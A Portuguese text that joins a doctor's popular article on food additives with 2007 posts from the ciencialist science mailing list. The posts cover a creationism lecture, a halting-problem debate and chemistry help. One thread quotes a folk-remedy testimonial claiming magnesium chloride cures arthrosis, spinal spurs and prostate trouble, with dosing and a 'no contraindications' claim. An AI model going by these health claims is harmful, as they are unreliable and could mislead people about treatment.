Dr. Alessandro Loiola.

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AdITIVOS ALIMENTARES

© Dr. Alessandro Loiola


Os Aditivos Alimentares são um dos tópicos mais incompreendidos e discutidos em nossa alimentação, mas eles não são uma descoberta da modernidade: os antigos Egípcios e os Romanos utilizavam corantes e conservantes para melhorar o aspecto e o sabor de suas refeições. O problema foi que, nos últimos 50 anos, os avanços tecnológicos resultaram no desenvolvimento de mais de 3.000 aditivos alimentares liberados para consumo humano. Para os naturalistas de plantão, isso foi o mesmo que entornar o caldo da mandioca.

Infelizmente, estas substâncias desempenham um papel essencial na complexa cadeia logística que coloca a comida em sua mesa. O único modo de lhe oferecer aquele leite enriquecido em cálcio ou uma garrafa de polpa de suco de frutas sem uma deliciosa bola de fungo boiando no meio é acrescentando aditivos. Quer mais? O chocolate que você tanto gosta só tem aquela forma e consistência graças à adição de parafina.

Em uma dieta balanceada, a ingestão diária de aditivos alimentares estará dentro do aceitável e você não precisa se preocupar. Apenas raramente um aditivo causa reações adversas. Mas é preciso manter a atenção.

Muitos agentes flavorizantes, aditivos utilizados para alterar o odor e paladar, são batizados de “naturais” pelos fabricantes para dar um ar mais palatável à coisa. Todavia, muitos “sabores naturais” são produzidos utilizando tanta manipulação química que terminam sendo mais nocivos que seus equivalentes artificiais.

A Tartrazina e a Carmina, dois corantes bastante comuns, podem causar reações alérgicas como urticárias, congestão nasal e asma. O corante Vermelho Número 3 foi banido nos Estados Unidos por causar tumores na glândula tireóide em ratos, mas continua sendo utilizado em certos medicamentos e alimentos processados. O corante Vermelho Número 40 – chamado de vermelho allura e presente em gelatinas, medicamentos e laticínios, entre outros - mostrou ser capaz de causar câncer em animais.

Os óleos vegetais hidrogenados, que você conhece por aí como gorduras trans, possuem propriedades preservativas e são amplamente utilizados em doces, cereais e biscoitos. Eles podem elevar os níveis sangüíneos de colesterol e o risco de morte por doença coronariana.

O Glutamato Monossódico, utilizado para intensificar o sabor em carnes pré-preparadas, molhos, sopas e alguns pratos da cozinha chinesa, tem sido apontado como causador de dores de cabeça e dores musculares, mas não existem evidências científicas conclusivas neste sentido. A única ressalva fica por conta de pessoas hipertensas: o sódio contido no Glutamato Monossódico pode provocar aumentos na pressão arterial e crises hipertensivas potencialmente perigosas.


Outro aditivo alimentar que pode causar problemas são os Sulfetos, conservantes utilizados há mais de 2.000 anos para controlar o crescimento microbiano em bebidas fermentadas, tais como vinhos e cervejas. Em pessoas asmáticas, os Sulfetos podem desencadear crises respiratórias, falta de ar e tosse.

Se você quiser fugir destes subprodutos malévolos da indústria alimentícia e decidir comprar apenas frutas, verduras e legumes frescos vendidos em feiras confiáveis do seu bairro, ainda assim não estará completamente livre dos aditivos. Alguns conservantes comuns são utilizados até mesmo por pequenos produtores: ácido propiônico para evitar o crescimento de mofo no pão caseiro, nitratos e nitritos para evitar a descoloração da carne, e benzoatos em alimentos ácidos para evitar o crescimento bacteriano.

Tudo isso não significa que você deve encarar seu prato no almoço ou o lanche da tarde como uma sentença de morte: não sei se lhe avisaram, mas você já foi condenado à morte desde o momento em que nasceu. Porém, simultaneamente, também lhe sentenciaram à vida. Recomendo apenas que você viva de modo saudável, procurando basear suas refeições em alimentos mais frescos e naturais o possível.

Se for para passar mais algumas primaveras por aqui, que sejam primaveras repletas de temperos verdadeiros, e não aditivos artificiais.


---
Dr. Alessandro Loiola é médico, escritor, palestrante, autor de “Vida e Saúde da Criança” e “Crianças em forma: saúde na balança” (www.editoranatureza.com.br). Atualmente reside e clinica em Belo Horizonte, Minas Gerais.

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SUBJECT: Palestra sobre criacionismo na UTFPR, Curitiba
FROM: "Alvaro Augusto \(L\)" <alvaro@lunabay.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 26/05/2007 14:06

Na próxima sexta-feira, 1 de junho, 19h, o engenheiro Eduardo Lutz estará na
UTFPR (antigo CEFET-PR), campus Curitiba, para apresentar a palestra
"Ciência, Fé, Criacionismo e Evolucionismo". A palestra será no
mini-auditório e até o momento não sei se haverá espaço para perguntas.
Obviamente, farei o possível para estar lá. Encontrei uma palestra antiga
dele em http://www.scb.org.br/slideshow/palestra_2k4.asp e a idéia dele é um
pouco estranha. Ele afirma que nem o criacionismo, nem a teoria da evolução
(que ele chama de "evolucionismo") são ciência. Diz ele: "O evolucionismo é
uma doutrina filosófica que não se encaixa nos padrões rigorosos do método
científico: ele não se baseia em observação controlada e nem em modelos
matemáticos para tratar dos aspectos mais importantes. Em lugar de modelos
matemáticos, encontramos estudos de baixa qualidade. Em lugar de observação
controlada, encontramos observações simples (e fraudes)."

A página do moço pode ser acessada em http://edlutz.freehostingnow.com .

Preciso de ajuda para rebater os argumentos dele, caso haja espaço para
perguntas. Em tempo, a palestra é promovida pelo Sindicato dos Professores
da UTFPR, não pela reitoria ou por algum departamento, e até o momento não
sei se conta com o apoio institucional. Espero que não.

[ ]s

Alvaro Augusto



SUBJECT: Re: [ciencialist] Palestra sobre criacionismo na UTFPR, Curitiba
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 26/05/2007 14:44

Oi Álvaro,

recebi e estou em fase de complementação de cinco convites para palestra a partir de junho.
Do Paraná, recebi dois convites, o de Curitiba está ai abaixo e o outro de Três Marias.
(a) É do mesmo local onde se dará a palestra que vc informa?
(b) Que me diz sobre Três Marias? É típico de palestras?
+++++++++++++++=
From: "maria jose" <msilva@sme.curitiba.pr.gov.br>
To: <leobarretos@uol.com.br>
Sent: Monday, May 14, 2007 10:26 AM
Subject: I Feira de Ciências e Tecnologia da Rede Municipal de Ensino de
Curitiba


>
> Prezado professor Luiz Ferraz, bom dia!
>
>
> Conforme contato anterior, convidamos o senhor para participar da I Feira
> de
> Ciências e Tecnologia da Rede Municipal de Ensino de Curitiba que será
> realizada no período de 28/08 à 31/08/2007, aqui na cidade de Curitiba.
>
> O tema da sua palestra será: "Construindo conceitos de Feira de Ciências e
> Tecnologia: a Feira como espaço de trocas e ampliação de aprendizagens" a
> ser realizada no dia 28/08/2007 pela manhã.
>
> Público alvo: Pedagogos, professores e estudantes que atuam na Educação
> Infantil e Ensino Fundamental das escolas da Rede Municipal de Ensino de
> Curitiba e comunidade de modo geral. Aproximadamente 500 pessoas.
>
> Prezado professor, para que possamos formalizar a participação do senhor
> no
> evento é necessário - devido às normas internas - que façamos um
> cadastramento referente à sua contratação. Para tanto precisamos que nos
> sejam enviados os seguintes documentos: cópia do RG, CPF, diploma da maior
> titulação e Currículo. A cópia do RG, CPF e diploma da última
> titulação
> podem ser enviadas via fax para: (41) 3350 - 3039 aos cuidados de Maria
> José Giongo do Ensino Fundamental. Solicitamos ainda a gentileza de
> preencher a ficha em anexo, sem a qual não conseguimos formalizar o
> processo de contratação e pagamento.
>
>
> Agradecemos antecipadamente a vossa atenção,
>
> Maria José Domingues da Silva Giongo
> Gerência de Currículo
> Departamento de Ensino
>
+++++++++++++++++++++

No aguardo,

[]'

===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: "Alvaro Augusto (L)" <alvaro@lunabay.com.br>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: sábado, 26 de maio de 2007 14:06
Assunto: [ciencialist] Palestra sobre criacionismo na UTFPR, Curitiba


Na próxima sexta-feira, 1 de junho, 19h, o engenheiro Eduardo Lutz estará na
UTFPR (antigo CEFET-PR), campus Curitiba, para apresentar a palestra
"Ciência, Fé, Criacionismo e Evolucionismo". A palestra será no
mini-auditório e até o momento não sei se haverá espaço para perguntas.
Obviamente, farei o possível para estar lá. Encontrei uma palestra antiga
dele em http://www.scb.org.br/slideshow/palestra_2k4.asp e a idéia dele é um
pouco estranha. Ele afirma que nem o criacionismo, nem a teoria da evolução
(que ele chama de "evolucionismo") são ciência.
[ ... ]


SUBJECT: Re: [ciencialist] Re: (Para joao) MOSCAS E LIVRE ARBÍTRIO
FROM: Chicao Valadares <chicaovaladares@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 26/05/2007 17:31

Esse é um dos problemas. Ninguém pode conceituar
algo que não conhece por completo. O que sabemos
em alguns casos é como ela se manifesta no mundo
objetivo. A questão livro de Bulcão/macaco serve de
ilustração. Se livros como o de Bulcão surgirem
espontaneamente na natureza ou macacos neste instante
forem capazes de escrever bons livros, essa idéia não
é
válida. Esse é um exemplo de design inteligente que
funciona.
O teste de turing basea-se numa comparação. A base
dele está
implícita no que acabei de dizer.

--- José Carlos Antonio <profjc2003@yahoo.com.br>
escreveu:

> Desculpem-me a intromissão, mas vocês estão falando
> tanto em
> "inteligência humana" que acabei não resistindo: o
> que vem a ser a
> "inteligência humana" de que tanto falam? Vocês
> poderiam defini-la de
> uma forma tal que depois não precisemos ficar
> redefinindo a todo
> momento que surgir "algo novo" que não cabe na
> definição original?
>
> Abraços,
> JC


"O Binômio de Newton é tão belo como a Vênus de Milo.
O que há é pouca gente para dar por isso... "
Fernando Pessoa - Poesias de Alvaro Campos

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SUBJECT: Re: [ciencialist] Re: (ERRATA) MOSCAS E LIVRE ARBÍTRIO
FROM: Chicao Valadares <chicaovaladares@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 26/05/2007 17:35

A resposta vai para Jose Carlos Antonio e não para
Joao.Onde de lê no ultimo email sobre este tema que
enviei a lista "Para Joao" leia-se "Para Jose Carlos".

--- José Carlos Antonio <profjc2003@yahoo.com.br>
escreveu:

> Desculpem-me a intromissão, mas vocês estão falando
> tanto em
> "inteligência humana" que acabei não resistindo: o
> que vem a ser a
> "inteligência humana" de que tanto falam? Vocês
> poderiam defini-la de
> uma forma tal que depois não precisemos ficar
> redefinindo a todo
> momento que surgir "algo novo" que não cabe na
> definição original?
>
> Abraços,
> JC



"O Binômio de Newton é tão belo como a Vênus de Milo.
O que há é pouca gente para dar por isso... "
Fernando Pessoa - Poesias de Alvaro Campos

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SUBJECT: Re: [ciencialist] Re: (Para Homero - Parte I)MOSCAS E LIVRE ARBÍTRIO
FROM: Chicao Valadares <chicaovaladares@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 26/05/2007 19:13

Estou respondendo em dois emais p/ evitar truncamentos
de msg.

--- oraculo333 <oraculo@atibaia.com.br> escreveu:
> Acho a sugestão excelente, mas é meu trabalho
> estudar teoria da
> computação, lógica de programação, linguagens de
> programação, etc. Eu
> trabalho programando computadores, em diversas
> linguagens, e não será
> falta de informação a desculpa para meus eventuais
> erros nesse
> assunto..:-)

Bem você já me disse isso uma vez.
A questão aqui é que para se aprender a programar não
precisa estudar teoria da computação. Você termina
usando algumas coisas que foram previstas
na teoria mas você não precisa saber delas.
O eletricista comum não precisa saber das fórmulas
da física elétrica para desempenhar sua atividade.

> Acho que realmente estamos nos perdendo aqui, em
> termos e definições.
> O que você parece defender como sendo o problema da
> parada, não é bem
> isso, e o teste de Turing também não lida com o
> problema da parada ou
> mesmo de simples travamentos.

Eu nenhum momento eu disse que o problema da parada e
o teste de turing eram a mesma coisa.

> Talvez fosse melhor começarmos pela definição e
> ajuste de termos sobre
> estes assuntos antes de continuar, o que acha?

Eles já estão muito bem definidos.
Se quiser explicita-los aqui, vá em frente.

> VOu tentar traduzir as partes mais importantes do
> texto sugerido pelo
> Takata sobre o problema da parada, embora esteja em
> espanhol que não é
> meu forte. E podemos começar pelo mais simples, os
> loops infinitos,a s
> formas de lidar com eles e sua capacidade de
> "travar" um computador.

Adiante.


> Este é um exemplo do nosso problema de comunicação,
> não me parece que
> computadores quebrem ao lidar com o problema da
> parada. E nem que este
> problema tenha esse nome porque computadores
> "param". O problema da
> parada é outro, que lida com nossa capacidade de
> reconhecer uma parada
> dentro de um sistema de algorítimos com precisão e
> de modo determiando

Eu já disse em outra mensagem que dizer que o
computador "trava" é apenas abuso de linguagem.

> Eu começaria pelo loop simples, que pdoe travar um
> sistema ao fazer
> parte de um codígo linear de programação. O mais
> simples seria um erro
> parecido com este:
>
> x = 0
> Do while x < 10
> ...codigo repetido pelo processador
> x = x + 1
> Loop
> ..próximo código
>
> O código acima se repetiria 10 vezes e pararia,
> seguindo para a
> próxima linha de código. Mas um erro de digitação ou
> intencional
> poderia gerar um loop infinito:
>
> x = 1
> Do while x > 0
> ...codigo repetido pelo processador
> x = x + 1
> Loop
> ...próximo código
>
> Nesse caso, o "próximo código" jamais seria
> atingido, e o sistema
> ficaria eternamente somando 1 ao valor de x. Isso
> costumava travar
> sistemas mais antigos, mas hoje seria difícil e é
> fácil
> (relativamente), preparar um sistema que supere este
> travamento.


Ambos os códigos não servem para exemplificar o
problema da parada. Essas construções algoritmicas são
consistentes, ao contrário da obtida pelo problema da
parada.


> Em especial, sistemas multitarefa podem manter o
> loop e ainda
> continuar a funcionar bem no resto das tarefas.

Sim e daí ??


> Agora o teste de Turing. Este não lida, mais uma
> vez, com o problema
> da Parada, mas com uma avalição bastante subjetiva
> da questão da mente
> e da consciência. Por isso, conforme sua pergunta, é
> um ser humano que
> decide se é ou não uma máquina a estar do outro lado
> do console, pois
> a análise depende de questões subjetivas, não
> objetivas.

Eu nunca disse que uma coisa era outra. È você que
está
afirmando isso.


> Mas isso não pode ser usado como "prova" ou
> evidência da incapacidade
> de uma "mente" artificial ser capaz de análises
> subjetivas, por
> definição ou teoricamente, pois geraria um
> raciocínio circular. Um
> computador não pode ser considerado "consciente"
> porque não pode fazer
> análises subjetivas, e não pode fazer análises
> subjetivas, porque não
> é consciente.

Não entendi porque vocÊ disse isso. Mesmo assim você
precisaria definir o que é uma análise subjetiva
antes.



> tinhamos de
> encontrar algo que, embora natural, também fosse
> impossível de surgir
> em uma complexidade artificial. E não vejo como isso
> pode ser
> apresentado ou defendido, no momento.


O "artificial" que você cita está apoiado no paradigma
das máquinas de turing. Já argumentei porque o
racíocinio humano não poderá emergir por completo
nesse paradigma. Agora se inventarem outro
paradigma....

> Se a complexidade, material, do cérebro, permitiu a
> evolução de um sistema cognitivo e consciente,
então > me parece razoável supor que complexidades em
outros > substratos são possíveis. A não ser que se
> apresente algo que torne isso impossível. E penso
> que a capacidade de
> lidar com paradoxos e o problema da parada (coisas
> distintas) não são
> impedimentos desse tipo.

Eu não estou dizendo que é impossível para qualquer
paradigma, eu estou dizendo que é impossível para as
máquinas de turing(MT´s). Se homens lidam e MT´s não,
já temos algo que os separam. E tudo isso que acabei
de escrever já disse em emails anteriores.


> Não exatamente. Quando se considerou que, como aves,
> voam, e seu voo é
> mecânico, então deveria haver uma forma, mecânica,
> de voarmos também,
> não era uma indução otimista, mas uma conclusão
> lógica. A não ser que
> aves tivessem algo impossível para nós, isso seria
> uma conclusão
> aceitável e não indução otimista.

A priori era possível porque seu vôo era mecânico. O
problema é fazer indução sem conhecer a priori se é
possível ou não. Pode ser que lá na frente você tope
com algo que a impossibilite, como você mesmo disse.

> Veja, nossa consciência, ao que tudo indica, surge
> pela evolução do
> cérebro e da complexidade.

Como você disse "ao que tudo indica", mas você não
sabe a priori se é possível ou não.

TO BE CONTINUED....

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SUBJECT: Re: [ciencialist] Re: (Para Homero - Parte II)MOSCAS E LIVRE ARBÍTRIO
FROM: Chicao Valadares <chicaovaladares@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 26/05/2007 19:26


--- oraculo333 <oraculo@atibaia.com.br> escreveu:

>Algo que devemos considerar com cuidado é a diferença
>entre uma
>máquina de turing" e o "teste de turing". Isso é
>importante ao
>lidarmos com o "problema da parada" (problema de
>Hilbert, na verdade)
>logo mais."

Mais uma vez você está afirmando algo que eu não
disse.


>Um processo de controle muito usado em servidores de
>rede e internet é o 'tempo de processamento" , para
>evitar travamentos e sobrecargas. Por
>padrão, qualquer script ou instrução que demore mais
>que 90 segundos
>para finalizar, é abortado. Observe que isso equivale
>a um método bem
>humano de controle, que é parar de receber dados
>quando estes ficam
>maiores do que se pode lidar. Por isso nosso cérebro
>não trava com a
>infinidade de "inputs" que ele recebe durante as 24
>horas todos os dias."

Sim e daí ?


>Acho que esse engano ficará mais claro a partir do
>texto do Penrose,
>que é evidentemente mais capaz de explicar do que
>eu..:-) Se você preferir, eu posto em espanhol mesmo,
>não deve ser muito difícil de entender, pois é um
>texto bastante técnico e claro."

Eu observei o resto da sua resposta e basicamente
daria as mesmas respostas que já dei a você. È melhor
você postar o texto traduzido de Penrose para que
continuemos nosso debate.

Amplexos Complexos.


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SUBJECT: Re: Fw: Preciso de uma experiencia de Fisica!!
FROM: José Carlos Antonio <profjc2003@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 26/05/2007 20:00

Então ela quer que você ganhe o concurso para ela? Hum... Acho que vou
discriminá-la também. :)

Abraços,
JC


--- Em ciencialist@yahoogrupos.com.br, "Luiz Ferraz Netto"
<leobarretos@...> escreveu
>
> vários helps!
>
> []'
> ===========================
> Luiz Ferraz Netto [Léo]
> leobarretos@...
> http://www.feiradeciencias.com.br/doacoes.asp
> ===========================
> -----Mensagem Original-----
> De: Roseli Paternolli
> Para: leobarretos@...
> Enviada em: sexta-feira, 25 de maio de 2007 15:22
> Assunto: Preciso de uma experiencia de Fisica!!
>
>
> Oi
> Peguei seu email no site de experiencia...
> Preciso de uma experiencia de fisica para ganhar um concurso.
> Você tem alguma legal?
> Eu faço faculdade de Matematica em Guaira Pr.
> Meu prof. pediu uma experiencia a melhor vai ganhar um premio.
> Nãoé exatamente um concurso, mas eu quero muito ganhar, Por que
tenho 41 anos e sou muito discriminada pelo pessoal da minha sala.
> Me ajude por favor.
> Se vc tiver umafoto da experiencia manda pra mim.
> Bjs
>
>
>
--------------------------------------------------------------------------------
> O Windows Live Spaces já chegou! É fácil criar o seu próprio Web
site pessoal. Veja só!
>
>
>
--------------------------------------------------------------------------------
>
>
> No virus found in this incoming message.
> Checked by AVG Free Edition.
> Version: 7.5.467 / Virus Database: 269.7.7/816 - Release Date:
23/05/2007 15:59
>
>
> [As partes desta mensagem que não continham texto foram removidas]
>




SUBJECT: Re: (Para joao) MOSCAS E LIVRE ARBÍTRIO
FROM: José Carlos Antonio <profjc2003@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 26/05/2007 20:11

Olá Chicão,

Mil perdões, mas você não está insinuando que o Bulcão não faz parte
da natureza, está?

Até onde me parece razoável o Bulcão é parte da natureza tanto quanto
os computadores. Eu francamente não vejo nada de sobrenatural no
Bulcão. Você vê?

Você acha que inteligência é algo sobrenatural???

Abraços,
JC



--- Em ciencialist@yahoogrupos.com.br, Chicao Valadares
<chicaovaladares@...> escreveu
>
> Esse é um dos problemas. Ninguém pode conceituar
> algo que não conhece por completo. O que sabemos
> em alguns casos é como ela se manifesta no mundo
> objetivo. A questão livro de Bulcão/macaco serve de
> ilustração. Se livros como o de Bulcão surgirem
> espontaneamente na natureza ou macacos neste instante
> forem capazes de escrever bons livros, essa idéia não
> é
> válida. Esse é um exemplo de design inteligente que
> funciona.
> O teste de turing basea-se numa comparação. A base
> dele está
> implícita no que acabei de dizer.
>
> --- José Carlos Antonio <profjc2003@...>
> escreveu:
>
> > Desculpem-me a intromissão, mas vocês estão falando
> > tanto em
> > "inteligência humana" que acabei não resistindo: o
> > que vem a ser a
> > "inteligência humana" de que tanto falam? Vocês
> > poderiam defini-la de
> > uma forma tal que depois não precisemos ficar
> > redefinindo a todo
> > momento que surgir "algo novo" que não cabe na
> > definição original?
> >
> > Abraços,
> > JC
>
>
> "O Binômio de Newton é tão belo como a Vênus de Milo.
> O que há é pouca gente para dar por isso... "
> Fernando Pessoa - Poesias de Alvaro Campos
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SUBJECT: Re: [ciencialist] Re: Ferrari: ABC da CIENCIA
FROM: Bruna Carolina Ribas <brunacribas@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 26/05/2007 22:18

Antimatéria.

"Don Juan, el burlador de Sevilla" <religiouscritic@bol.com.br> escreveu: Bruna, no tratar sobre a força gravitacional, pode-se afirma que há matéria ou há energia?


-----
From: Bruna Carolina Ribas
Sent: Friday, May 25, 2007 11:26 AM

[...]

Oh, Ferrari, não há vázio na natureza; ou há matéria ou há energia.

[...]



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Rio Grande/RS

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SUBJECT: Re: [ciencialist] Re: + um exercio de química
FROM: Phoenix Myth <phoenixclever@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 27/05/2007 00:48

Muito obrigado takata...
vc é demais!!!!

[]s


--- rmtakata <roberto.takata@bol.com.br> escreveu:

> --- Em ciencialist@yahoogrupos.com.br, "rmtakata"
> <roberto.takata@...>
> > Considera q o volume não se altera
> substancialmente e calcula a
> > densidade (1.000 g + massa do reagente/ 1.000 ml).
>
> Para os puristas matemáticos: [(1.000 g + massa do
> reagente)/1.000
> ml]. Para os puristas químicos e físicos isso NÃO dá
> a densidade da
> solução (teríamos que considerar o aumento - ou
> eventualmente
> decréscimo - do volume com a adição do soluto).
>
> []s,
>
> Roberto Takata
>
>


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SUBJECT: Re: [ciencialist] Cloreto de Magnésio
FROM: José Renato <jrma@terra.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 27/05/2007 00:56

João Batista, nos sites abaixo há informação que Pe. Shorr faleceu com 93
anos em 2005...
[]s
JR
......................................................

PlantasErvas - Dicas Medicinais - cloreto de magnésio
*J. Shorr é padre, Professor de Física, Química e Biologia do Colégio
Catarinense / Sta. ... Conheci o Padre Schor, ele curou-se com o cloreto de
magnésio, ...
http://www.plantaservas.hpg.ig.com.br/arquivos/dicasmedicinais/dica...
(29k)
Páginas semelhantes


Jornal da Serra da Cantareira
*J. Shorr é padre, Professor de Física, Química e Biologia do Colégio
Catarinense / Sta. Catarina. Este texto data de 30 de setembro de 1985. ...
http://www.jornaldaserra.com.br/8Arquivo/cloreto.htm (28k)
Páginas semelhantes

...........................................



----- Original Message -----
From: "João Batista Ferreira de Andrade" <ferreiraandrade2000@yahoo.com.br>
To: <ciencialist@yahoogrupos.com.br>
Sent: Saturday, May 26, 2007 9:36 AM
Subject: Re: [ciencialist] Cloreto de Magnésio


Olá, caros listeiros

Revendo esta mensagem, gostaria de informar que faço uso do CLORETO DE
MAGNÉSIO - atualmente sem "PA " ( Para análise ), com bons resultados...E,
pelo que tenho pesquisado, o seu consumo é muito grande entre a população.
Antes, os frascos traziam o tal "PA"...

No livro A SAÚDE brota da natureza, do Professor Jaime Bruning ( pag.
191 ), o Padre Beno Shorr alerta para só comprar o CLORETO DE MAGNÉSIO PA,
aquele usado em laboratório. Ele diz que o de farmácia, sem especificação de
pureza e sem ser "PA ", não serve para consumo, e depois de alguns anos de
uso, facilmente gera um CÂNCER, devido ao acúmulo no organismo dos metais
pesados que contém, como chumbo e outros.

...............................................................................................................
ALERTA: se assim for, teremos, brevemente, uma EPIDEMIA de CÂNCER pelo
Brasil afora, pois, as embalagens vendidas nas farmácias, em geral, não
apresentam a tal especificação "PA "...E informam que têm Autorização de
Funcionamento M S 101 706. Pelo Tel SAC 0800 11 60 32, fui informado pelo
"Químico" da área de fabricação que não era mais necessária esta informação
"PA " no rótulo, pois foram dispensados pelos órgãos fiscalizadores da SAÚDE
PÚBLICA!...E, que em breve, remeteria uma justificativa técnica para o meu
conhecimento...Estou aguardando por mais de um ano...
.................................................................................................................

E agora, José?...

Alguém tem o e-mail do Padre J. Shorr para trocarmos algumas
figurinhas?!...

Obrigado

João Batista ferreiraandrade2000@yahoo.com.br



José Renato <jrma@terra.com.br> escreveu:
Olá! Alguém já teve experiência de recuperação e cura de alguma doença ou
sintoma usando cloreto de magnésio? Lembro que o Deputado Ulisses Guimarães
usava-o diariamente e se dizia fã de algum remédio com magnésio.

Abraços

José Renato

.......................................



Cloreto de Magnésio



J. Shorr *

Quem sofre de bico de papagaio, nervo ciático, coluna e calcificação podem
se curar de forma perfeita, indolor, fácil e barata. E tem, ao mesmo
tempo, a cura de todas as doenças causadas pela carência de cloreto de
magnésio no passado, até a artrose.
Iniciei minha cura aos 61 anos. Dez anos antes, eu estava quase
paralítico, sentia pontadas agudas na região lombar - um bico de papagaio
incurável, segundo o médico. Mas reparei ser reumatismo, que curei com
Ketacil, esquecendo-me, então, do bico de papagaio que antes já provocava
um peso crescente na barriga da perna direita. Após cinco anos, o peso
virou dor e, apesar de todos os tratamentos, só aumentava. Dois anos
depois atinei com a causa: mal me levantava da cama um formigamento descia
pela perna até os pés. Ao abaixar-me, o formigamento cessava; erguia-me
ele voltava. Repeti as duas posições. Deduzi que só poderia ser aquele
bico de papagaio, que apertava o nervo ciático na terceira vértebra,
quando em pé; curvando-me, lhe dava folga. Fiz então meus trabalhos, o
mais possível sentado. Havia anos que fazia tudo sentado, menos a missa, o
que era um tormento. E adiava a viagem à ilha de Marajó, onde devia
completar a rede de rádio-telefonia de 48 estações em 6
Estados. Após seis meses, viajei, esperando melhorar naquele eterno
verão.
Mas piorou de vez. Rezava a missa sentado e sentado orientava meus
ajudantes a montar os mastros e esticar as antenas por cima dos telhados.
Sem tardar, voltei a Florianópolis com novas radiografias e procurei um
especialista. Agora já era um bando de bicos de papagaios, calcificados,
duros em grau avançado. Nada se poderia fazer. As dez aplicações de ondas
curtas e distensões da coluna não detiveram a dor, a ponto de nem mais
deitado eu poder dormir. Ficava sentado, até quase cair da cadeira, de
tanto sono. Foi quando atinei que podia dormir enrolado ou sentado para
fugir da dor. E então? Assim, desenganado, apelei ao bom Deus. "Estás
vendo a tua criatura"?
Não lhe custava dar um jeitinho...
Providencialmente, fui ao Encontro dos Jesuítas Cientistas, em Porto
Alegre, e o Padre Suarez me disse ser fácil à cura com cloreto de
magnésio, mostrando-me o pequeno livro do Padre Puig, jesuíta espanhol que
descobriu o uso do cloreto de magnésio: sua mão era dura de tão
calcificada, mas, com este sal, ficou móvel como a de uma menina; o mesmo
aconteceu com parentes seu. E brincando, ele disse: "Com este sal só se
morre dando um tiro na cabeça ou por acidente". Em Florianópolis, logo
comecei a tomar uma dose pela manhã e uma à noite; mesmo assim continuei
dormindo encolhido até o 20º dia; naquela manhã, porém, acordei estirado
na casa, sem dor. Mas caminhar ainda era um sofrimento. Depois de 30 dias,
eu me levantei sentindo-me estranho: "Será que estou sonhando? Nada mais
me doía! Dei até uma voltinha pela cidade, sentindo, contudo, o peso de 10
anos antes. Aos 40 dias caminhei o dia inteiro sentindo menos peso; três
meses depois minha flexibilidade aumentava. Dez meses
já se passaram e me dobro quase como uma cobra".
Outros efeitos: O cloreto de magnésio arranca o cálcio dos lugares
indevidos e o fixa solidamente nos ossos. Ainda mais: minha pulsação que
sempre estava abaixo de 40 - eu já pensava em marca passo - normalizou-se.
O sistema nervoso ficou motorialmente calmo, ganhei maior lucidez, meu
sangue estava descalcificado e fluido. As freqüentes pontadas do fígado
desapareceram. A próstata, que eu deveria operar assim que tivesse uma
folga nos trabalhos, já não me incomoda muito. Houve ainda outros efeitos,
a ponto de várias pessoas me perguntarem: "O que está acontecendo com
você?" Está mais jovem!
"É isso mesmo". Voltou-me a alegria de viver. Por isso, me vejo na
obrigação de repartir o "jeitinho" que o bom Deus me deu. Centenas se
curaram em Santa Catarina depois de anos de sofrimento com males da
coluna, artrose etc.
Importância do cloreto de magnésio: O cloreto de magnésio produz o
equilíbrio mineral, anima os órgãos em suas funções (catalisadoras), como
os rins, para eliminar o ácido úrico nas artroses; descalcifica até as
finas membranas nas articulações e as escleroses calcificadas, evitando
enfartes; purificando o sangue vitaliza o cérebro, desenvolve ou conserva
a juventude até alta idade. O cloreto de magnésio é, de todos os sais, o
menos dispensável, como o professor na aula.
Uso: após os 40 anos, o organismo absorve sempre menos cloreto de
magnésio, produzindo velhice e doenças. Por isso deve ser tomado conforme
a idade: dos 20 anos aos 55 anos 1/2 dose, ou seja, meio cálice; dos 55
anos aos 70 anos, uma dose (um cálice), dos 70 anos aos 100, uma dose pela
manhã e 1 dose à noite.
Atenção: Para quem vive na cidade e ingere alimentos de baixa qualidade
(refinados e enlatados) recomenda-se uma dose um pouco maior, e para
pessoas do campo um pouco menos. O cloreto de magnésio não cria hábito,
mas ao deixá-lo perde-se a proteção. Com o uso do cloreto de magnésio há
tendência à eliminação das doenças e uma diminuição significativa do
desgaste natural.
Só não se deixe levar pelo comodismo, até que uma doença se instale;
porque viver com dores e mal estar se é possível gozar de uma saúde
radiante?
O cloreto de magnésio não é remédio, mas alimento. E não tem
contra-indicação. É compatível com qualquer medicamento simultâneo. O
adulto precisaria obter dos alimentos o equivalente a três doses; se não
conseguir, pode aumentar um pouco a dose diária para não adoecer;
dificilmente se ultrapassa o limite, pois as doses indicadas para pessoas
de 40 a 100 anos são mínimas.
O cloreto de magnésio põe em ordem todo o corpo e é indicado para homens e
mulheres. No caso das mulheres ele ajuda a prevenir osteoporose.
Recomendações: Quem sofre de bico de papagaio, obesidade, nervo
ciático, coluna, arteriosclerose, rins, calcificação, surdez por
calcificação, deve iniciar o tratamento com uma dose pela manhã, uma dose
à tarde, uma dose à noite.
Quando curado, deve-se tomar o cloreto de magnésio como preventivo, isto
é, conforme a idade.
Artrose: o ácido úrico se deposita nas articulações do corpo, em
particular nos dedos, que até incham. Isso resulta de uma falha no
funcionamento dos rins, justamente por falta do cloreto de magnésio. Tenha
cautela: se um rim talvez já esteja se deteriorando, tome apenas uma dose
pela manhã. Se em 20 dias não sentir melhoras e não cessar a anormalidade,
tome uma dose pela manhã e uma dose à noite. Depois de curado, continue
com as doses normais, como preventivo.
Próstata: aqui vou citar um exemplo. Um homem muito idoso já não
conseguia urinar. Algum tempo antes da operação, lhe deram cloreto de
magnésio como preparação, e ele começou a melhorar. Depois de uma semana
sentia-se bem, e a operação foi cancelada. Há casos em que a próstata
regride, às vezes, ao normal, tomando-se 2 doses pela manhã, duas doses à
tarde, duas doses à noite. Ao melhorar, tome a dose preventiva.
